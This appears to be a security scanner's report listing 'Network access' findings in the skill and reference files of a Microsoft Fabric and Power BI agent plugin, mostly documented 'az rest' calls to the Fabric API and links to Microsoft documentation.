> ```bash > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli" > ``` - Network accessline 57
> az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli" - Network accessline 57
> az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli" - Network accessline 64
| API | Audience (`--resource`) | |---|---| | Fabric Report Items API | `https://api.fabric.microsoft.com` | - Network accessline 64
| API | Audience (`--resource`) | |---|---| | Fabric Report Items API | `https://api.fabric.microsoft.com` | - Network accessline 66
| Fabric Report Items API | `https://api.fabric.microsoft.com` | - Network accessline 66
| Fabric Report Items API | `https://api.fabric.microsoft.com` | - Network accessline 86
REPORT_NAME="Sales Report" REPORT_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 86
REPORT_NAME="Sales Report" REPORT_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 87
REPORT_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 87
REPORT_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 88
--resource "https://api.fabric.microsoft.com" \ - Network accessline 88
--resource "https://api.fabric.microsoft.com" \ - Network accessline 89
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \ - Network accessline 89
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \ - Network accessline 104
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 104
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 105
--resource "https://api.fabric.microsoft.com" \ - Network accessline 105
--resource "https://api.fabric.microsoft.com" \ - Network accessline 106
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \ - Network accessline 106
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \ - Network accessline 121
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 121
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 122
--resource "https://api.fabric.microsoft.com" \ - Network accessline 122
--resource "https://api.fabric.microsoft.com" \ - Network accessline 123
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID" - Network accessline 123
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID" - Network accessline 139
RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 140
--resource "https://api.fabric.microsoft.com" \ - Network accessline 140
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID/getDefinition?format=PBIR" \ - Network accessline 141
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID/getDefinition?format=PBIR" \ - Network accessline 180
rel="${file#./report-definition/}" payload=$(base64 < "$file" | tr -d '\n') jq -nc --arg p "$rel" --arg b "$payload" \ - Network accessline 180
rel="${file#./report-definition/}" payload=$(base64 < "$file" | tr -d '\n') jq -nc --arg p "$rel" --arg b "$payload" \ - Network accessline 181
payload=$(base64 < "$file" | tr -d '\n') jq -nc --arg p "$rel" --arg b "$payload" \ '{path:$p, payload:$b, payloadType:"InlineBase64"}' - Network accessline 181
payload=$(base64 < "$file" | tr -d '\n') jq -nc --arg p "$rel" --arg b "$payload" \ '{path:$p, payload:$b, payloadType:"InlineBase64"}' - Network accessline 182
jq -nc --arg p "$rel" --arg b "$payload" \ - Network accessline 182
jq -nc --arg p "$rel" --arg b "$payload" \ - Network accessline 193
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 193
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 194
--resource "https://api.fabric.microsoft.com" \ - Network accessline 194
--resource "https://api.fabric.microsoft.com" \ - Network accessline 195
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \ - Network accessline 195
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \ - Network accessline 221
rel="${file#./report-definition/}" payload=$(base64 < "$file" | tr -d '\n') jq -nc --arg p "$rel" --arg b "$payload" \ - Network accessline 221
rel="${file#./report-definition/}" payload=$(base64 < "$file" | tr -d '\n') jq -nc --arg p "$rel" --arg b "$payload" \ - Network accessline 222
payload=$(base64 < "$file" | tr -d '\n') jq -nc --arg p "$rel" --arg b "$payload" \ '{path:$p, payload:$b, payloadType:"InlineBase64"}' - Network accessline 222
payload=$(base64 < "$file" | tr -d '\n') jq -nc --arg p "$rel" --arg b "$payload" \ '{path:$p, payload:$b, payloadType:"InlineBase64"}' - Network accessline 223
jq -nc --arg p "$rel" --arg b "$payload" \ - Network accessline 223
jq -nc --arg p "$rel" --arg b "$payload" \ - Network accessline 231
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 231
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 232
--resource "https://api.fabric.microsoft.com" \ - Network accessline 232
--resource "https://api.fabric.microsoft.com" \ - Network accessline 233
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID/updateDefinition" \ - Network accessline 233
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID/updateDefinition" \ - Network accessline 260
az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 260
az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 261
--resource "https://api.fabric.microsoft.com" \ - Network accessline 261
--resource "https://api.fabric.microsoft.com" \ - Network accessline 262
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID" \ - Network accessline 262
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID" \ - Network accessline 275
# Soft delete (recoverable) az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 275
# Soft delete (recoverable) az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 276
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 276
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 277
--resource "https://api.fabric.microsoft.com" \ - Network accessline 277
--resource "https://api.fabric.microsoft.com" \ - Network accessline 278
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID" - Network accessline 278
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID" - Network accessline 280
# Hard delete (permanent) az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 280
# Hard delete (permanent) az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 281
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 281
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 282
--resource "https://api.fabric.microsoft.com" \ - Network accessline 282
--resource "https://api.fabric.microsoft.com" \ - Network accessline 283
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID?hardDelete=true" - Network accessline 283
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID?hardDelete=true" - Network accessline 316
For more details, see [Long-Running Operations](https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation). - Network accessline 316
For more details, see [Long-Running Operations](https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation). - Network accessline 347
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 347
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 348
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 348
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 362
- **ALL PBIR content MUST go through the `powerbi-report-authoring` skill** — this is the single most important rule. Whether creating a brand-new report or modifying an existing one, every PBIR file (`definition.pbir`, `report.json`, `vers - Network accessline 362
- **ALL PBIR content MUST go through the `powerbi-report-authoring` skill** — this is the single most important rule. Whether creating a brand-new report or modifying an existing one, every PBIR file (`definition.pbir`, `report.json`, `vers - Network accessline 363
- **Always pass `--resource "https://api.fabric.microsoft.com"`** to `az rest` — omitting it causes silent auth failures. - Network accessline 363
- **Always pass `--resource "https://api.fabric.microsoft.com"`** to `az rest` — omitting it causes silent auth failures. - Network accessline 524
| Error | Cause | Fix | |---|---|---| | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` | - Network accessline 524
| Error | Cause | Fix | |---|---|---| | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` | - Network accessline 525
|---|---|---| | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` | | `403 Forbidden` | Insufficient permissions | Check workspace role (Contributor+ for write ops) | - Network accessline 525
|---|---|---| | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` | | `403 Forbidden` | Insufficient permissions | Check workspace role (Contributor+ for write ops) | - Network accessline 526
| `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` | - Network accessline 526
| `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/SKILL.md
- Network accessline 397
SERVER="sql-prod" CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 397
SERVER="sql-prod" CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 398
CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 398
CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 399
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 399
--url "https://api.fabric.microsoft.com/v1/connections" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/connection-binding.md
- Network accessline 5
This API supersedes the legacy Power BI [Bind to Gateway in Group](https://learn.microsoft.com/rest/api/power-bi/datasets/bind-to-gateway-in-group). It supports gateway, cloud, virtual network, automatic, and unbind (`None`) connectivity ty - Network accessline 5
This API supersedes the legacy Power BI [Bind to Gateway in Group](https://learn.microsoft.com/rest/api/power-bi/datasets/bind-to-gateway-in-group). It supports gateway, cloud, virtual network, automatic, and unbind (`None`) connectivity ty - Network accessline 7
> **Reference docs** > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection) - Network accessline 7
> **Reference docs** > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection) - Network accessline 8
> - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection) - Network accessline 8
> - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection) - Network accessline 9
> - [List Item Connections](https://learn.microsoft.com/rest/api/fabric/core/items/list-item-connections) - Network accessline 9
> - [List Item Connections](https://learn.microsoft.com/rest/api/fabric/core/items/list-item-connections) - Network accessline 10
> - [List Connections](https://learn.microsoft.com/rest/api/fabric/core/connections/list-connections) - Network accessline 10
> - [List Connections](https://learn.microsoft.com/rest/api/fabric/core/connections/list-connections) - Network accessline 11
> - [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) - Network accessline 11
> - [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) - Network accessline 18
- Delegated scope: `SemanticModel.ReadWrite.All` or `Item.ReadWrite.All`. - Identities: User, Service Principal, Managed Identity. - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`. - Network accessline 18
- Delegated scope: `SemanticModel.ReadWrite.All` or `Item.ReadWrite.All`. - Identities: User, Service Principal, Managed Identity. - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`. - Network accessline 20
- Fabric audience for `az rest`: `https://api.fabric.microsoft.com`. - Network accessline 20
- Fabric audience for `az rest`: `https://api.fabric.microsoft.com`. - Network accessline 31
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/semanticModels/{semanticModelId}/bindConnection - Network accessline 31
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/semanticModels/{semanticModelId}/bindConnection - Network accessline 87
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 87
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 88
--resource "https://api.fabric.microsoft.com" \ - Network accessline 88
--resource "https://api.fabric.microsoft.com" \ - Network accessline 89
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/connections" - Network accessline 89
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/connections" - Network accessline 97
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 97
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 98
--resource "https://api.fabric.microsoft.com" \ - Network accessline 98
--resource "https://api.fabric.microsoft.com" \ - Network accessline 99
--url "https://api.fabric.microsoft.com/v1/connections" - Network accessline 99
--url "https://api.fabric.microsoft.com/v1/connections" - Network accessline 106
If no matching connection exists, create one with [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) before continuing. - Network accessline 106
If no matching connection exists, create one with [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) before continuing. - Network accessline 130
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 130
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 131
--resource "https://api.fabric.microsoft.com" \ - Network accessline 131
--resource "https://api.fabric.microsoft.com" \ - Network accessline 132
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/semanticModels/$MODEL_ID/bindConnection" \ - Network accessline 132
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/semanticModels/$MODEL_ID/bindConnection" \ - Network accessline 185
- Submit **one request per data source reference**. The API rejects bulk payloads. - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize t - Network accessline 185
- Submit **one request per data source reference**. The API rejects bulk payloads. - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize t - Network accessline 186
- Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize them. - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com` - Network accessline 186
- Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize them. - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com` - Network accessline 187
- Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`), not the Power BI audience. - Network accessline 187
- Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`), not the Power BI audience.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-perf-decision-guide.md
- Network accessline 382
- [Analysis Services trace events](https://learn.microsoft.com/analysis-services/trace-events/analysis-services-trace-events) - Network accessline 382
- [Analysis Services trace events](https://learn.microsoft.com/analysis-services/trace-events/analysis-services-trace-events) - Network accessline 383
- [Horizontal fusion in Power BI and Analysis Services](https://powerbi.microsoft.com/en-us/blog/announcing-horizontal-fusion-a-query-performance-optimization-in-power-bi-and-analysis-services/) - Network accessline 383
- [Horizontal fusion in Power BI and Analysis Services](https://powerbi.microsoft.com/en-us/blog/announcing-horizontal-fusion-a-query-performance-optimization-in-power-bi-and-analysis-services/) - Network accessline 384
- [Understand Direct Lake query performance](https://learn.microsoft.com/fabric/fundamentals/direct-lake-understand-storage) - Network accessline 384
- [Understand Direct Lake query performance](https://learn.microsoft.com/fabric/fundamentals/direct-lake-understand-storage)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-perf-patterns.md
- Network accessline 804
Two approaches: - **Spark:** `spark.conf.set("spark.sql.parquet.vorder.default", "true")`, then run `OPTIMIZE` for existing Delta tables. - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.co - Network accessline 804
Two approaches: - **Spark:** `spark.conf.set("spark.sql.parquet.vorder.default", "true")`, then run `OPTIMIZE` for existing Delta tables. - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.co - Network accessline 806
- **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations), which enables V-Order-oriented write settings for Power BI rea - Network accessline 806
- **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations), which enables V-Order-oriented write settings for Power BI rea
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/direct-lake-guidelines.md
- Network accessline 34
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 34
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 35
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 35
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 44
expression 'DL_Sales_Named_Expression' = let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 44
expression 'DL_Sales_Named_Expression' = let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 45
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) in - Network accessline 45
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) in - Network accessline 46
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 46
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/metadata-discovery.md
- Network accessline 182
- **Issue:** `INFO.ROLEMEMBERSHIPS()` returns empty or incomplete results. - **Cause:** Role members are assigned at the service level (Entra ID) after deployment, not in the model definition — so DAX `INFO` functions cannot reliably surf - Network accessline 182
- **Issue:** `INFO.ROLEMEMBERSHIPS()` returns empty or incomplete results. - **Cause:** Role members are assigned at the service level (Entra ID) after deployment, not in the model definition — so DAX `INFO` functions cannot reliably surf - Network accessline 184
- **Fix:** Redirect to [Manage role membership documentation](https://learn.microsoft.com/en-us/fabric/security/service-admin-row-level-security#manage-role-membership) for current guidance on role membership management. - Network accessline 184
- **Fix:** Redirect to [Manage role membership documentation](https://learn.microsoft.com/en-us/fabric/security/service-admin-row-level-security#manage-role-membership) for current guidance on role membership management.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/pbip.md
- Network accessline 38
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 38
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 39
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 39
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 46
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json) for more details. - Network accessline 46
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json) for more details. - Network accessline 57
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 57
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 58
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 58
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 71
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 71
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 72
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 72
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 86
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/report/definitionProperties/2.0.0/schema.json) for more details. - Network accessline 86
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/report/definitionProperties/2.0.0/schema.json) for more details. - Network accessline 95
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json", - Network accessline 95
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json", - Network accessline 96
"$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json", - Network accessline 96
"$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json", - Network accessline 111
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/pbip/pbipProperties/1.0.0/schema.json) for more details. - Network accessline 111
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/pbip/pbipProperties/1.0.0/schema.json) for more details. - Network accessline 117
- [PBIP docs](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-overview) - Network accessline 117
- [PBIP docs](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-overview) - Network accessline 118
- [PBIP SemanticModel folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-dataset) - Network accessline 118
- [PBIP SemanticModel folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-dataset) - Network accessline 119
- [PBIP Report folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-report) - Network accessline 119
- [PBIP Report folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-report)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/semantic-model-ai-readiness.md
- Network accessline 33
**Important:** When incapable of editing any metadata, refer the user to [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/create-reports/copilot-prepare-data-ai) documentation. - Network accessline 33
**Important:** When incapable of editing any metadata, refer the user to [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/create-reports/copilot-prepare-data-ai) documentation. - Network accessline 140
> **Editing path:** Don't edit verified answers automatically. Instead suggest good candidates for verified answers and ask the user to configure manually in the tool. See [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/creat - Network accessline 140
> **Editing path:** Don't edit verified answers automatically. Instead suggest good candidates for verified answers and ask the user to configure manually in the tool. See [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/creat
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/semantic-model-rest-api.md
- Network accessline 8
API_FABRIC="https://api.fabric.microsoft.com/v1" - Network accessline 8
API_FABRIC="https://api.fabric.microsoft.com/v1" - Network accessline 9
API_PBI="https://api.powerbi.com/v1.0/myorg" - Network accessline 9
API_PBI="https://api.powerbi.com/v1.0/myorg" - Network accessline 10
RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 10
RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 11
RESOURCE_FABRIC="https://api.fabric.microsoft.com" - Network accessline 11
RESOURCE_FABRIC="https://api.fabric.microsoft.com" - Network accessline 22
| API | Audience (`--resource`) | Use For | | --------------------- | ------------------------------------------ | ------------------- - Network accessline 22
| API | Audience (`--resource`) | Use For | | --------------------- | ------------------------------------------ | ------------------- - Network accessline 23
| --------------------- | ------------------------------------------ | ---------------------------------------------------------------------------- | | Fabric Items API | `https://api.fabric.microsoft.com` | Create/get/update/d - Network accessline 23
| --------------------- | ------------------------------------------ | ---------------------------------------------------------------------------- | | Fabric Items API | `https://api.fabric.microsoft.com` | Create/get/update/d - Network accessline 24
| Fabric Items API | `https://api.fabric.microsoft.com` | Create/get/update/delete semantic model definitions, list items, LRO polling | - Network accessline 24
| Fabric Items API | `https://api.fabric.microsoft.com` | Create/get/update/delete semantic model definitions, list items, LRO polling | - Network accessline 25
| Power BI Datasets API | `https://analysis.windows.net/powerbi/api` | Refresh, data sources, parameters, permissions, operational properties | - Network accessline 25
| Power BI Datasets API | `https://analysis.windows.net/powerbi/api` | Refresh, data sources, parameters, permissions, operational properties | - Network accessline 78
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 78
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 79
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 79
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 147
# 1. Request definition - may return 200 (inline) or 202 (LRO) RESPONSE=$(az rest --method post --verbose \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 147
# 1. Request definition - may return 200 (inline) or 202 (LRO) RESPONSE=$(az rest --method post --verbose \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 148
RESPONSE=$(az rest --method post --verbose --resource "https://api.fabric.microsoft.com" - Network accessline 148
RESPONSE=$(az rest --method post --verbose --resource "https://api.fabric.microsoft.com" - Network accessline 149
--resource "https://api.fabric.microsoft.com" \ - Network accessline 149
--resource "https://api.fabric.microsoft.com" \ - Network accessline 185
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 185
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 186
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 186
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 187
--resource "https://api.fabric.microsoft.com" \ - Network accessline 187
--resource "https://api.fabric.microsoft.com" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/tmdl-guidelines.md
- Network accessline 124
expression DL_Lakehouse = let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) - Network accessline 124
expression DL_Lakehouse = let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) - Network accessline 125
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) in - Network accessline 125
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) in - Network accessline 126
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) - Network accessline 126
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/search-consumption-cli/SKILL.md
- Network accessline 73
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 74
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 75
--resource "https://api.fabric.microsoft.com" \ - Network accessline 76
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 85
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 86
